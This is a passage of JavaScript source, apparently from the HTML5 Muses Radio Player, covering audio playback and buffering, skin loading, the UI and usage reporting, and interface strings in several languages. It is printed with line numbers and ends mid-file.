throw new p( |
| 7815 |
"Bad node type, expected Element or Document but found " + |
| 7816 |
f.nodeType |
| 7817 |
); |
| 7818 |
c = f.children[0]; |
| 7819 |
if ( |
| 7820 |
c.nodeType == h.Document || |
| 7821 |
c.nodeType == h.Element |
| 7822 |
) |
| 7823 |
throw new p( |
| 7824 |
"Bad node type, unexpected " + c.nodeType |
| 7825 |
); |
| 7826 |
c = c.nodeValue; |
| 7827 |
} |
| 7828 |
} |
| 7829 |
} |
| 7830 |
} |
| 7831 |
} |
| 7832 |
} |
| 7833 |
if (null != a || null != c) |
| 7834 |
null == c |
| 7835 |
? this.player.ui.setMetadataFromString(a) |
| 7836 |
: ((b = new aa()), |
| 7837 |
(b.title = a), |
| 7838 |
(b.artist = c), |
| 7839 |
this.player.ui.setMetadata(b)); |
| 7840 |
} |
| 7841 |
} |
| 7842 |
}, |
| 7843 |
__class__: Ca, |
| 7844 |
}; |
| 7845 |
var F = (d.muses.Muses = function (a) { |
| 7846 |
this.legacyData = new v(); |
| 7847 |
this.metadataLoader = null; |
| 7848 |
this.activated = !1; |
| 7849 |
this.lastMessage = null; |
| 7850 |
this.lastVolume = 1; |
| 7851 |
this.src = this.name = null; |
| 7852 |
this.progress = 0; |
| 7853 |
this.lastAudioName = null; |
| 7854 |
this.playURL = ""; |
| 7855 |
this.mustWaitForBuffer = !1; |
| 7856 |
this.playTimeout = this.bufferingTimeout = this.requestedBuffering = 0; |
| 7857 |
this.desiredStatus = "stop"; |
| 7858 |
this.audio = this.lastAudioStatus = this.lastAudioSrc = null; |
| 7859 |
this.playerParams = a; |
| 7860 |
this.src = a.url; |
| 7861 |
this.name = a.title; |
| 7862 |
this.audio = new Audio(); |
| 7863 |
this.ui = new B(this, a); |
| 7864 |
null != a.buffering && (this.requestedBuffering = a.buffering); |
| 7865 |
this.mustWaitForBuffer = 0 < this.requestedBuffering; |
| 7866 |
this.metadataLoader = new Ca(this, a); |
| 7867 |
a.autoplay && |
| 7868 |
(this.audio.addEventListener("play", u(this, this.activate)), |
| 7869 |
this.playAudio(!1)); |
| 7870 |
}); |
| 7871 |
F.__name__ = ["muses", "Muses"]; |
| 7872 |
F.initTimer = function (a) { |
| 7873 |
-1 == F.instances.indexOf(a) && F.instances.push(a); |
| 7874 |
null == F.statusTimer && |
| 7875 |
((F.statusTimer = new G(500)), |
| 7876 |
(F.statusTimer.run = function () { |
| 7877 |
for (var a = 0, c = F.instances; a < c.length; ) { |
| 7878 |
var d = c[a]; |
| 7879 |
++a; |
| 7880 |
try { |
| 7881 |
d.checkAudioStatus(); |
| 7882 |
} catch (S) { |
| 7883 |
if ((S instanceof p && (S = S.val), x.__instanceof(S, String))) |
| 7884 |
console.log("Error: " + S); |
| 7885 |
else throw S; |
| 7886 |
} |
| 7887 |
} |
| 7888 |
})); |
| 7889 |
}; |
| 7890 |
F.prototype = { |
| 7891 |
activate: function () { |
| 7892 |
this.activated || |
| 7893 |
((this.activated = !0), |
| 7894 |
F.initTimer(this), |
| 7895 |
this.metadataLoader.begin(), |
| 7896 |
(this.mustWaitForBuffer = 0 < this.requestedBuffering)); |
| 7897 |
}, |
| 7898 |
setUrl: function (a) { |
| 7899 |
this.src = a; |
| 7900 |
}, |
| 7901 |
setFallbackUrl: function (a) { |
| 7902 |
console.log( |
| 7903 |
"Alert! setFallbackUrl not yet implemented on HTML5 version..." |
| 7904 |
); |
| 7905 |
}, |
| 7906 |
isPlaying: function () { |
| 7907 |
return !this.mustWaitForBuffer && |
| 7908 |
null != this.audio && |
| 7909 |
0 < this.audio.currentTime && |
| 7910 |
!this.audio.paused && |
| 7911 |
!this.audio.ended |
| 7912 |
? 2 < this.audio.readyState |
| 7913 |
: !1; |
| 7914 |
}, |
| 7915 |
shouldBePlaying: function () { |
| 7916 |
return "play" == this.desiredStatus; |
| 7917 |
}, |
| 7918 |
getCurrentUrl: function () { |
| 7919 |
return this.src; |
| 7920 |
}, |
| 7921 |
playAudio: function (a) { |
| 7922 |
null == a && (a = !0); |
| 7923 |
a && this.activate(); |
| 7924 |
this.stopAudio(!1); |
| 7925 |
this.playURL = this.src; |
| 7926 |
this.desiredStatus = "play"; |
| 7927 |
this.playTimeout = 7200; |
| 7928 |
this.bufferingTimeout = this.requestedBuffering + 40; |
| 7929 |
a = "?"; |
| 7930 |
1 < this.src.split("?").length && (a = "&"); |
| 7931 |
a = this.src + a; |
| 7932 |
var b = new Date().getTime(); |
| 7933 |
this.audio.src = a + b; |
| 7934 |
this.lastAudioSrc = this.src; |
| 7935 |
this.lastAudioName = this.name; |
| 7936 |
this.lastAudioStatus = null; |
| 7937 |
this.audio.autoplay = !0; |
| 7938 |
this.setVolume(this.lastVolume, !0); |
| 7939 |
this.audio.play(); |
| 7940 |
this.activated && |
| 7941 |
(this.ui.setPlaying(), |
| 7942 |
this.metadataLoader.begin(), |
| 7943 |
(this.mustWaitForBuffer = 0 < this.requestedBuffering)); |
| 7944 |
this.mustWaitForBuffer && |
| 7945 |
((this.audio.volume = 0), |
| 7946 |
0 < this.audio.volume && (this.mustWaitForBuffer = !1)); |
| 7947 |
}, |
| 7948 |
stopAudio: function (a) { |
| 7949 |
this.desiredStatus = "stop"; |
| 7950 |
null != this.audio && (this.audio.pause(), (this.audio.src = "")); |
| 7951 |
a && ((this.lastAudioStatus = 4), this.metadataLoader.stop()); |
| 7952 |
}, |
| 7953 |
retryAudio: function (a) { |
| 7954 |
null == a && (a = 5e3); |
| 7955 |
var b = this; |
| 7956 |
-1 != this.lastAudioStatus && |
| 7957 |
((this.lastAudioStatus = -1), |
| 7958 |
G.delay(function () { |
| 7959 |
-1 == b.lastAudioStatus && b.playAudio(); |
| 7960 |
}, a)); |
| 7961 |
}, |
| 7962 |
setVolume: function (a, b) { |
| 7963 |
null == b && (b = !1); |
| 7964 |
this.lastVolume = a; |
| 7965 |
this.mustWaitForBuffer || |
| 7966 |
((this.audio.volume = a), (this.lastVolume = this.audio.volume)); |
| 7967 |
null != this.ui && this.ui.setVolume(this.lastVolume, b); |
| 7968 |
}, |
| 7969 |
checkAudioStatus: function () { |
| 7970 |
var a = null; |
| 7971 |
if (null != this.audio) { |
| 7972 |
a = this.audio.networkState; |
| 7973 |
I.string(this.audio.error); |
| 7974 |
if (2 == a || 1 == a) a = 2; |
| 7975 |
if (null != this.audio.error || 4 == this.lastAudioStatus) a = 3; |
| 7976 |
this.mustWaitForBuffer && |
| 7977 |
0 < this.audio.currentTime && |
| 7978 |
(2 == a && (a = 1), |
| 7979 |
this.audio.currentTime >= this.requestedBuffering && |
| 7980 |
((this.audio.volume = this.lastVolume), |
| 7981 |
(this.mustWaitForBuffer = !1), |
| 7982 |
(this.audio.currentTime = 0))); |
| 7983 |
} |
| 7984 |
0 == a |
| 7985 |
? ((a = "Error al conectar"), |
| 7986 |
this.lastMessage != a && this.ui.setError()) |
| 7987 |
: -1 == a |
| 7988 |
? (a = "retry...") |
| 7989 |
: null == a |
| 7990 |
? (a = "init") |
| 7991 |
: 1 == a |
| 7992 |
? (this.bufferingTimeout--, |
| 7993 |
0 == this.bufferingTimeout && this.retryAudio(), |
| 7994 |
(a = "Buffering... " + Math.round(this.bufferingTimeout / 2)), |
| 7995 |
this.lastMessage != a && this.ui.setBuffering()) |
| 7996 |
: 2 == a |
| 7997 |
? (this.playTimeout--, |
| 7998 |
0 == this.playTimeout && this.retryAudio(5), |
| 7999 |
(a = "Playing... "), |
| 8000 |
this.lastMessage != a && |
| 8001 |
(this.ui.setPlaying(), this.reportLegacyPlayer())) |
| 8002 |
: 4 == a || 3 == a |
| 8003 |
? "play" == this.desiredStatus |
| 8004 |
? ((a = "Error de red"), |
| 8005 |
this.retryAudio(), |
| 8006 |
this.lastMessage != a && this.ui.setError()) |
| 8007 |
: ((a = "Stopped."), this.lastMessage != a && this.ui.setStopped()) |
| 8008 |
: ((a = "ERROR: " + a), console.log(a)); |
| 8009 |
this.lastMessage = a; |
| 8010 |
}, |
| 8011 |
reportLegacyPlayer: function () { |
| 8012 |
if (null != this.src) { |
| 8013 |
var a = window.navigator.language; |
| 8014 |
a = null != a ? a.split("-")[0] : "N/A"; |
| 8015 |
null == this.playerParams.lang && (this.playerParams.lang = "auto"); |
| 8016 |
null == this.playerParams.codec && (this.playerParams.codec = "auto"); |
| 8017 |
null == this.playerParams.title && (this.playerParams.title = "-"); |
| 8018 |
null == this.playerParams.welcome && |
| 8019 |
(this.playerParams.welcome = "-"); |
| 8020 |
null == this.playerParams.skin && (this.playerParams.skin = "-"); |
| 8021 |
var b = window.location.href; |
| 8022 |
null == b && (b = "-"); |
| 8023 |
a = JSON.stringify({ |
| 8024 |
title: this.playerParams.title, |
| 8025 |
url: this.src, |
| 8026 |
codec: this.playerParams.codec, |
| 8027 |
welcome: this.playerParams.welcome, |
| 8028 |
skin: this.playerParams.skin, |
| 8029 |
playerLang: this.playerParams.lang, |
| 8030 |
listenerLang: a, |
| 8031 |
website: b, |
| 8032 |
}); |
| 8033 |
b = O.encode(a); |
| 8034 |
var c = this.legacyData; |
| 8035 |
(null != t[b] ? c.existsReserved(b) : c.h.hasOwnProperty(b)) || |
| 8036 |
((c = this.legacyData), |
| 8037 |
null != t[b] ? c.setReserved(b, !0) : (c.h[b] = !0), |
| 8038 |
P.exists(b) |
| 8039 |
? console.log("COOKIE EXISTS!") |
| 8040 |
: (P.set(b, "1", 43200), |
| 8041 |
(b = new T("https://www.muses.org/ws/legacyPlayer")), |
| 8042 |
(b.onData = function (a) { |
| 8043 |
console.log(a); |
| 8044 |
}), |
| 8045 |
(b.async = !0), |
| 8046 |
b.setParameter("json", a), |
| 8047 |
b.request(!0))); |
| 8048 |
} |
| 8049 |
}, |
| 8050 |
__class__: F, |
| 8051 |
}; |
| 8052 |
var z = function () {}; |
| 8053 |
z.__name__ = ["muses", "Tracker"]; |
| 8054 |
z.track = function (a, b, c) { |
| 8055 |
if (z.enabled && !("error" == a && 3 < ++z.trackedErrors)) { |
| 8056 |
null == z.userLang && |
| 8057 |
((z.userLang = window.navigator.language), |
| 8058 |
(z.userLang = null != z.userLang ? z.userLang.split("-")[0] : "N/A")); |
| 8059 |
var d = { |
| 8060 |
dimension1: c.ui.skin, |
| 8061 |
dimension2: c.getCurrentUrl() + " (" + c.name + ")", |
| 8062 |
dimension3: "2.4.5 (html5)", |
| 8063 |
dimension4: window.location.href, |
| 8064 |
dimension5: c.playerParams.codec, |
| 8065 |
dimension6: c.playerParams.lang, |
| 8066 |
dimension7: z.userLang, |
| 8067 |
}; |
| 8068 |
"stop" == b && (d.metric1 = c.ui.getPlayTime()); |
| 8069 |
z.initialize(c, d); |
| 8070 |
// ga('musesTracker.send', 'event', a, b, d); |
| 8071 |
} |
| 8072 |
}; |
| 8073 |
z.initialize = function (a, b) { |
| 8074 |
z.initialized || |
| 8075 |
((z.initialized = !0), |
| 8076 |
/* GA Removed */ |
| 8077 |
(new G(3e5).run = function () { |
| 8078 |
a.shouldBePlaying() && |
| 8079 |
((b.metric1 = a.ui.getPlayTime()), |
| 8080 |
// ga('musesTracker.send', 'event', 'play', 'playing', b)); |
| 8081 |
})); |
| 8082 |
}; |
| 8083 |
var B = (d.muses.UI = function (a, b) { |
| 8084 |
this.toggleBuffer = !1; |
| 8085 |
this.playStartedTimestamp = 0; |
| 8086 |
this.lastMetadata = this.lastMetadataJson = null; |
| 8087 |
this.skinFolder = this.baseURL = this.skinDomain = ""; |
| 8088 |
this.togglePlayStopEnabled = this.lastToggleValue = !1; |
| 8089 |
this.status = |
| 8090 |
this.mainDiv = |
| 8091 |
this.playButton = |
| 8092 |
this.stopButton = |
| 8093 |
this.volumeControl = |
| 8094 |
this.bg = |
| 8095 |
this.statusText = |
| 8096 |
this.artistText = |
| 8097 |
this.songTitleText = |
| 8098 |
this.statusLed = |
| 8099 |
null; |
| 8100 |
this.skin = ""; |
| 8101 |
var c = this; |
| 8102 |
this.title = b.title; |
| 8103 |
this.skin = b.skin; |
| 8104 |
this.reportEvents = null == b.jsevents ? !1 : b.jsevents; |
| 8105 |
this.muses = a; |
| 8106 |
this.language = Ga.factory(b.lang); |
| 8107 |
l.prepare(this.language); |
| 8108 |
this.mainDiv = window.document.getElementById(b.elementId); |
| 8109 |
this.mainDiv.style.position = "relative"; |
| 8110 |
this.mainDiv.addEventListener( |
| 8111 |
"contextmenu", |
| 8112 |
u(this, this.showContextMenu) |
| 8113 |
); |
| 8114 |
this.statusText = new Q(this); |
| 8115 |
this.artistText = new Q(this); |
| 8116 |
this.songTitleText = new Q(this); |
| 8117 |
this.statusLed = new ba(this); |
| 8118 |
this.volumeControl = new ca(this, this.muses); |
| 8119 |
this.volumeControl.setVolume(b.volume / 100, !0); |
| 8120 |
this.playButton = new V(this, "play"); |
| 8121 |
this.stopButton = new V(this, "stop"); |
| 8122 |
this.loadSkin(this.skin, function () { |
| 8123 |
c.statusLed.configured && c.mainDiv.appendChild(c.statusLed.container); |
| 8124 |
c.statusText.configured && |
| 8125 |
c.mainDiv.appendChild(c.statusText.container); |
| 8126 |
c.artistText.configured && |
| 8127 |
c.mainDiv.appendChild(c.artistText.container); |
| 8128 |
c.songTitleText.configured && |
| 8129 |
c.mainDiv.appendChild(c.songTitleText.container); |
| 8130 |
c.volumeControl.configured && |
| 8131 |
c.mainDiv.appendChild(c.volumeControl.container); |
| 8132 |
c.mainDiv.appendChild(c.playButton.container); |
| 8133 |
c.mainDiv.appendChild(c.stopButton.container); |
| 8134 |
c.stopButton.container.onclick = function (a) { |
| 8135 |
c.muses.stopAudio(!0); |
| 8136 |
}; |
| 8137 |
c.playButton.container.onclick = function (a) { |
| 8138 |
c.muses.playAudio(); |
| 8139 |
}; |
| 8140 |
c.showInfo(b.welcome); |
| 8141 |
}); |
| 8142 |
}); |
| 8143 |
B.__name__ = ["muses", "UI"]; |
| 8144 |
B.parseInt = function (a, b) { |
| 8145 |
return null == a ? b : I.parseInt(a); |
| 8146 |
}; |
| 8147 |
B.prototype = { |
| 8148 |
XmlToLower: function (a) { |
| 8149 |
for (var b = a.attributes(); b.hasNext(); ) { |
| 8150 |
var c = b.next(); |
| 8151 |
a.set(c.toLowerCase(), a.get(c)); |
| 8152 |
} |
| 8153 |
}, |
| 8154 |
enablePlayStopToggle: function () { |
| 8155 |
this.togglePlayStopEnabled = !0; |
| 8156 |
this.togglePlayStop(this.lastToggleValue); |
| 8157 |
}, |
| 8158 |
togglePlayStop: function (a) { |
| 8159 |
this.lastToggleValue = a; |
| 8160 |
this.togglePlayStopEnabled && |
| 8161 |
(this.playButton.setVisible(!a), this.stopButton.setVisible(a)); |
| 8162 |
}, |
| 8163 |
makeAbsolute: function (a) { |
| 8164 |
return -1 != a.indexOf("://") |
| 8165 |
? a |
| 8166 |
: "/" == a.charAt(0) |
| 8167 |
? this.skinDomain + a |
| 8168 |
: this.baseURL + a; |
| 8169 |
}, |
| 8170 |
getDomainName: function (a) { |
| 8171 |
a += "/"; |
| 8172 |
var b = a.indexOf("://"); |
| 8173 |
return -1 == b ? "" : r.substr(a, 0, a.indexOf("/", b + 3)); |
| 8174 |
}, |
| 8175 |
getDirName: function (a) { |
| 8176 |
var b = a.lastIndexOf("/"); |
| 8177 |
return -1 == b ? "" : r.substr(a, 0, b + 1); |
| 8178 |
}, |
| 8179 |
loadSkin: function (a, b) { |
| 8180 |
var c = this, |
| 8181 |
d = new T(a); |
| 8182 |
d.onData = function (d) { |
| 8183 |
c.baseURL = c.getDirName(a); |
| 8184 |
c.skinDomain = c.getDomainName(a); |
| 8185 |
for (d = h.parse(d).elements(); d.hasNext(); ) { |
| 8186 |
var e = d.next(); |
| 8187 |
if (e.nodeType != h.Element) |
| 8188 |
throw new p( |
| 8189 |
"Bad node type, expected Element but found " + e.nodeType |
| 8190 |
); |
| 8191 |
if ("ffmp3-skin" != e.nodeName.toLowerCase()) { |
| 8192 |
if (e.nodeType != h.Element) |
| 8193 |
throw new p( |
| 8194 |
"Bad node type, expected Element but found " + e.nodeType |
| 8195 |
); |
| 8196 |
var g = "muses-skin" != e.nodeName.toLowerCase(); |
| 8197 |
} else g = !1; |
| 8198 |
if (g) return; |
| 8199 |
c.XmlToLower(e); |
| 8200 |
g = null == e.get("folder") ? "" : e.get("folder"); |
| 8201 |
c.skinFolder = g; |
| 8202 |
(g = |
| 8203 |
null == e.get("toggleplaystop") |
| 8204 |
? !1 |
| 8205 |
: "true" == e.get("toggleplaystop")) && |
| 8206 |
c.enablePlayStopToggle(); |
| 8207 |
0 < c.skinFolder.length && |
| 8208 |
"/" != c.skinFolder.charAt(c.skinFolder.length - 1) && |
| 8209 |
(c.skinFolder += "/"); |
| 8210 |
c.skinFolder = c.makeAbsolute(c.skinFolder); |
| 8211 |
for (e = e.elements(); e.hasNext(); ) { |
| 8212 |
g = e.next(); |
| 8213 |
c.XmlToLower(g); |
| 8214 |
if (g.nodeType != h.Element) |
| 8215 |
throw new p( |
| 8216 |
"Bad node type, expected Element but found " + g.nodeType |
| 8217 |
); |
| 8218 |
switch (g.nodeName.toLowerCase()) { |
| 8219 |
case "artist": |
| 8220 |
c.artistText.configureText(g, c.language.getTextAlign()); |
| 8221 |
break; |
| 8222 |
case "bg": |
| 8223 |
c.configureBG(g); |
| 8224 |
break; |
| 8225 |
case "play": |
| 8226 |
c.playButton.configure(g); |
| 8227 |
break; |
| 8228 |
case "songtitle": |
| 8229 |
c.songTitleText.configureText(g, c.language.getTextAlign()); |
| 8230 |
break; |
| 8231 |
case "status": |
| 8232 |
c.statusLed.configure(g); |
| 8233 |
break; |
| 8234 |
case "stop": |
| 8235 |
c.stopButton.configure(g); |
| 8236 |
break; |
| 8237 |
case "text": |
| 8238 |
c.statusText.configureText(g, c.language.getTextAlign()); |
| 8239 |
break; |
| 8240 |
case "volume": |
| 8241 |
c.volumeControl.configure(g); |
| 8242 |
} |
| 8243 |
} |
| 8244 |
} |
| 8245 |
b(); |
| 8246 |
}; |
| 8247 |
d.async = !0; |
| 8248 |
d.request(!1); |
| 8249 |
}, |
| 8250 |
loadImage: function (a, b) { |
| 8251 |
a.src = this.skinFolder + b; |
| 8252 |
a.style.width = "auto"; |
| 8253 |
a.style.height = "auto"; |
| 8254 |
}, |
| 8255 |
configureBG: function (a) { |
| 8256 |
this.bg = new Image(); |
| 8257 |
this.loadImage(this.bg, a.get("image")); |
| 8258 |
this.bg.style.position = "absolute"; |
| 8259 |
var b = B.parseInt(a.get("x"), 0); |
| 8260 |
this.bg.style.left = b + "px"; |
| 8261 |
a = B.parseInt(a.get("y"), 0); |
| 8262 |
this.bg.style.top = a + "px"; |
| 8263 |
this.mainDiv.appendChild(this.bg); |
| 8264 |
}, |
| 8265 |
configureButton: function (a, b) { |
| 8266 |
a.src = this.skinFolder + b.get("image"); |
| 8267 |
a.style.position = "absolute"; |
| 8268 |
var c = B.parseInt(b.get("x"), 0); |
| 8269 |
a.style.left = c + "px"; |
| 8270 |
b = B.parseInt(b.get("y"), 0); |
| 8271 |
a.style.top = b + "px"; |
| 8272 |
}, |
| 8273 |
callback: function (a, b) { |
| 8274 |
null == b && (b = "0"); |
| 8275 |
this.reportEvents && musesCallback(a, b); |
| 8276 |
}, |
| 8277 |
setStatus: function (a) { |
| 8278 |
this.showInfo(this.language.getText(a)); |
| 8279 |
this.callback(a); |
| 8280 |
this.status = a; |
| 8281 |
}, |
| 8282 |
getPlayTime: function () { |
| 8283 |
console.log(this.playStartedTimestamp); |
| 8284 |
return 0 == this.playStartedTimestamp |
| 8285 |
? 0 |
| 8286 |
: Math.round(new Date().getTime()) - this.playStartedTimestamp; |
| 8287 |
}, |
| 8288 |
setPlaying: function () { |
| 8289 |
this.setStatus("play"); |
| 8290 |
this.statusLed.on(); |
| 8291 |
this.togglePlayStop(!0); |
| 8292 |
this.playStartedTimestamp = Math.round(new Date().getTime()); |
| 8293 |
z.track("play", "play", this.muses); |
| 8294 |
}, |
| 8295 |
setStopped: function () { |
| 8296 |
this.setStatus("stop"); |
| 8297 |
this.statusLed.off(); |
| 8298 |
this.togglePlayStop(!1); |
| 8299 |
this.artistText.setText(""); |
| 8300 |
this.songTitleText.setText(""); |
| 8301 |
this.lastMetadata = this.lastMetadataJson = null; |
| 8302 |
this.playStartedTimestamp = 0; |
| 8303 |
z.track("play", "stop", this.muses); |
| 8304 |
}, |
| 8305 |
setBuffering: function () { |
| 8306 |
this.status = "buffering"; |
| 8307 |
this.callback(this.status); |
| 8308 |
this.toggleBuffer ? this.showInfo("\u25cf") : this.showInfo("\u25cb"); |
| 8309 |
this.toggleBuffer = !this.toggleBuffer; |
| 8310 |
this.statusLed.on(); |
| 8311 |
this.togglePlayStop(!0); |
| 8312 |
}, |
| 8313 |
setError: function () { |
| 8314 |
this.setStatus("ioError"); |
| 8315 |
this.statusLed.off(); |
| 8316 |
z.track("error", "ioError", this.muses); |
| 8317 |
}, |
| 8318 |
setVolume: function (a, b) { |
| 8319 |
this.volumeControl.setVolume(a, b); |
| 8320 |
b || |
| 8321 |
this.showInfo( |
| 8322 |
this.language.getText("volume") + ": " + Math.round(100 * a) + "%" |
| 8323 |
); |
| 8324 |
this.callback("volume", "" + Math.round(100 * a)); |
| 8325 |
}, |
| 8326 |
setMetadataFromString: function (a) { |
| 8327 |
if (this.muses.shouldBePlaying() && this.lastMetadata != a) { |
| 8328 |
var b = a.indexOf(" - ", 0); |
| 8329 |
-1 != b |
| 8330 |
? (this.artistText.setText(r.substr(a, 0, b)), |
| 8331 |
this.songTitleText.setText(r.substr(a, b + 3, null))) |
| 8332 |
: (this.artistText.setText(""), this.songTitleText.setText(a)); |
| 8333 |
this.lastMetadata = a; |
| 8334 |
this.callback("metadata", a); |
| 8335 |
} |
| 8336 |
}, |
| 8337 |
setMetadata: function (a) { |
| 8338 |
if (this.muses.shouldBePlaying()) { |
| 8339 |
var b = a.artist + " - " + a.title; |
| 8340 |
this.lastMetadata != b && |
| 8341 |
((this.lastMetadata = b), this.callback("metadata", b)); |
| 8342 |
b = a.getJson(); |
| 8343 |
this.lastMetadataJson != b && |
| 8344 |
((this.lastMetadataJson = b), |
| 8345 |
this.artistText.setText(a.artist), |
| 8346 |
this.songTitleText.setText(a.title), |
| 8347 |
this.callback("metadata-json", "[" + b + "]")); |
| 8348 |
} |
| 8349 |
}, |
| 8350 |
showInfo: function (a, b) { |
| 8351 |
null == b && (b = !0); |
| 8352 |
null == a |
| 8353 |
? this.restoreTitle() |
| 8354 |
: (null != this.titleTimer && this.titleTimer.stop(), |
| 8355 |
this.statusText.setText(a), |
| 8356 |
b && |
| 8357 |
((this.titleTimer = new G(2e3)), |
| 8358 |
(this.titleTimer.run = u(this, this.restoreTitle)))); |
| 8359 |
}, |
| 8360 |
restoreTitle: function () { |
| 8361 |
null != this.titleTimer && this.titleTimer.stop(); |
| 8362 |
this.statusText.setText(this.title); |
| 8363 |
}, |
| 8364 |
setTitle: function (a) { |
| 8365 |
this.title = a; |
| 8366 |
this.restoreTitle(); |
| 8367 |
}, |
| 8368 |
showContextMenu: function (a) { |
| 8369 |
l.display( |
| 8370 |
window.pageXOffset + a.clientX, |
| 8371 |
window.pageYOffset + a.clientY, |
| 8372 |
this.title, |
| 8373 |
this.language |
| 8374 |
); |
| 8375 |
a.preventDefault(); |
| 8376 |
z.track("ui", "showContextMenu", this.muses); |
| 8377 |
}, |
| 8378 |
__class__: B, |
| 8379 |
}; |
| 8380 |
d = function () { |
| 8381 |
this.byText = new v(); |
| 8382 |
}; |
| 8383 |
d.__name__ = ["muses", "internationalization", "AbstractLanguage"]; |
| 8384 |
d.prototype = { |
| 8385 |
getText: function (a) { |
| 8386 |
var b = this.byText; |
| 8387 |
return null != t[a] ? b.getReserved(a) : b.h[a]; |
| 8388 |
}, |
| 8389 |
setText: function (a, b) { |
| 8390 |
var c = this.byText; |
| 8391 |
null != t[a] ? c.setReserved(a, b) : (c.h[a] = b); |
| 8392 |
}, |
| 8393 |
getTextAlign: function () { |
| 8394 |
return "left"; |
| 8395 |
}, |
| 8396 |
__class__: d, |
| 8397 |
}; |
| 8398 |
var da = function () { |
| 8399 |
this.byText = new v(); |
| 8400 |
this.setText( |
| 8401 |
"play", |
| 8402 |
"\u0546\u057e\u0561\u0563\u0561\u0580\u056f\u0565\u056c" |
| 8403 |
); |
| 8404 |
this.setText( |
| 8405 |
"stop", |
| 8406 |
"\u053f\u0561\u0576\u0563\u0576\u0565\u0581\u0576\u0565\u056c" |
| 8407 |
); |
| 8408 |
this.setText( |
| 8409 |
"intro", |
| 8410 |
"\u0546\u0565\u0580\u0561\u056e\u0578\u0582\u0569\u0575\u0578\u0582\u0576" |
| 8411 |
); |
| 8412 |
this.setText( |
| 8413 |
"ioError", |
| 8414 |
"\u0551\u0561\u0576\u0581\u0561\u0575\u056b\u0576 \u057d\u056d\u0561\u056c" |
| 8415 |
); |
| 8416 |
this.setText( |
| 8417 |
"loadComplete", |
| 8418 |
"\u054d\u056d\u0561\u056c. \u0562\u0565\u057c\u0576\u0578\u0582\u0574\u0576 \u0561\u057e\u0561\u0580\u057f\u057e\u0561\u056e \u0567" |
| 8419 |
); |
| 8420 |
this.setText( |
| 8421 |
"soundComplete", |
| 8422 |
"\u054d\u056d\u0561\u056c. \u0576\u057e\u0561\u0563\u0561\u0580\u056f\u0578\u0582\u0574\u0576 \u0561\u057e\u0561\u0580\u057f\u057e\u0561\u056e \u0567" |
| 8423 |
); |
| 8424 |
this.setText( |
| 8425 |
"volume", |
| 8426 |
"\u0541\u0561\u0575\u0576\u056b \u0562\u0561\u0580\u0571\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576" |
| 8427 |
); |
| 8428 |
this.setText( |
| 8429 |
"securityError", |
| 8430 |
"\u0531\u0576\u057e\u057f\u0561\u0576\u0563\u0578\u0582\u0569\u0575\u0561\u0576 \u057d\u056d\u0561\u056c" |
| 8431 |
); |
| 8432 |
this.setText( |
| 8433 |
"about", |
| 8434 |
"\u00abMuses\u00bb \u057c\u0561\u0564\u056b\u0578 \u0576\u057e\u0561\u0563\u0561\u0580\u056f\u0579\u056b \u0574\u0561\u057d\u056b\u0576" |
| 8435 |
); |
| 8436 |
this.setText( |
| 8437 |
"version", |
| 8438 |
"\u054f\u0561\u0580\u0562\u0565\u0580\u0561\u056f" |
| 8439 |
); |
| 8440 |
}; |
| 8441 |
da.__name__ = ["muses", "internationalization", "Armenian"]; |
| 8442 |
da.__super__ = d; |
| 8443 |
da.prototype = k(d.prototype, { __class__: da }); |
| 8444 |
var ea = function () { |
| 8445 |
this.byText = new v(); |
| 8446 |
this.setText("play", "\u0412\u043a\u043b\u044e\u0447\u0438"); |
| 8447 |
this.setText("stop", "\u0418\u0437\u043a\u043b\u044e\u0447\u0438"); |
| 8448 |
this.setText( |
| 8449 |
"ioError", |
| 8450 |
"\u0413\u0440\u0435\u0448\u043a\u0430 \u0432 \u0441\u0432\u044a\u0440\u0437\u0432\u0430\u043d\u0435\u0442\u043e" |
| 8451 |
); |
| 8452 |
this.setText( |
| 8453 |
"loadComplete", |
| 8454 |
"\u0413\u0440\u0435\u0448\u043a\u0430: \u0417\u0430\u0432\u044a\u0440\u0448\u0435\u043d\u043e \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435" |
| 8455 |
); |
| 8456 |
this.setText( |
| 8457 |
"soundComplete", |
| 8458 |
"\u0413\u0440\u0435\u0448\u043a\u0430: \u0417\u0430\u0432\u044a\u0440\u0448\u0435\u043d\u043e \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435 \u043d\u0430 \u0437\u0432\u0443\u043a" |
| 8459 |
); |
| 8460 |
this.setText( |
| 8461 |
"volume", |
| 8462 |
"\u0421\u0438\u043b\u0430 \u043d\u0430 \u0437\u0432\u0443\u043a\u0430" |
| 8463 |
); |
| 8464 |
this.setText( |
| 8465 |
"securityError", |
| 8466 |
"\u0413\u0440\u0435\u0448\u043a\u0430 \u0432 \u0441\u0438\u0433\u0443\u0440\u043d\u043e\u0441\u0442\u0442\u0430" |
| 8467 |
); |
| 8468 |
this.setText("about", "\u0417\u0430 Muses Radio Player..."); |
| 8469 |
this.setText("version", "\u0412\u0435\u0440\u0441\u0438\u044f ...."); |
| 8470 |
this.setText("intro", "\u0418\u043d\u0442\u0440\u043e"); |
| 8471 |
}; |
| 8472 |
ea.__name__ = ["muses", "internationalization", "Bulgarian"]; |
| 8473 |
ea.__super__ = d; |
| 8474 |
ea.prototype = k(d.prototype, { __class__: ea }); |
| 8475 |
var fa = function () { |
| 8476 |
this.byText = new v(); |
| 8477 |
this.setText("play", "Reprodueix"); |
| 8478 |
this.setText("stop", "Atura"); |
| 8479 |
this.setText("ioError", "Error de xarxa"); |
| 8480 |
this.setText("loadComplete", "Error: s'ha completat la c\u00e0rrega"); |
| 8481 |
this.setText("soundComplete", "Error: s'ha completat el so"); |
| 8482 |
this.setText("volume", "Volum"); |
| 8483 |
this.setText("securityError", "Error de seguretat"); |
| 8484 |
this.setText("about", "Quant a Muses Radio Player..."); |
| 8485 |
this.setText("version", "Versi\u00f3"); |
| 8486 |
this.setText("intro", "Introducci\u00f3"); |
| 8487 |
}; |
| 8488 |
fa.__name__ = ["muses", "internationalization", "Catalan"]; |
| 8489 |
fa.__super__ = d; |
| 8490 |
fa.prototype = k(d.prototype, { __class__: fa }); |
| 8491 |
var ha = function () { |
| 8492 |
this.byText = new v(); |
| 8493 |
this.setText("play", "\u64ad\u653e"); |
| 8494 |
this.setText("stop", "\u505c\u6b62"); |
| 8495 |
this.setText("intro", "\u7b80\u4ecb"); |
| 8496 |
this.setText("ioError", "\u7f51\u7edc\u51fa\u9519"); |
| 8497 |
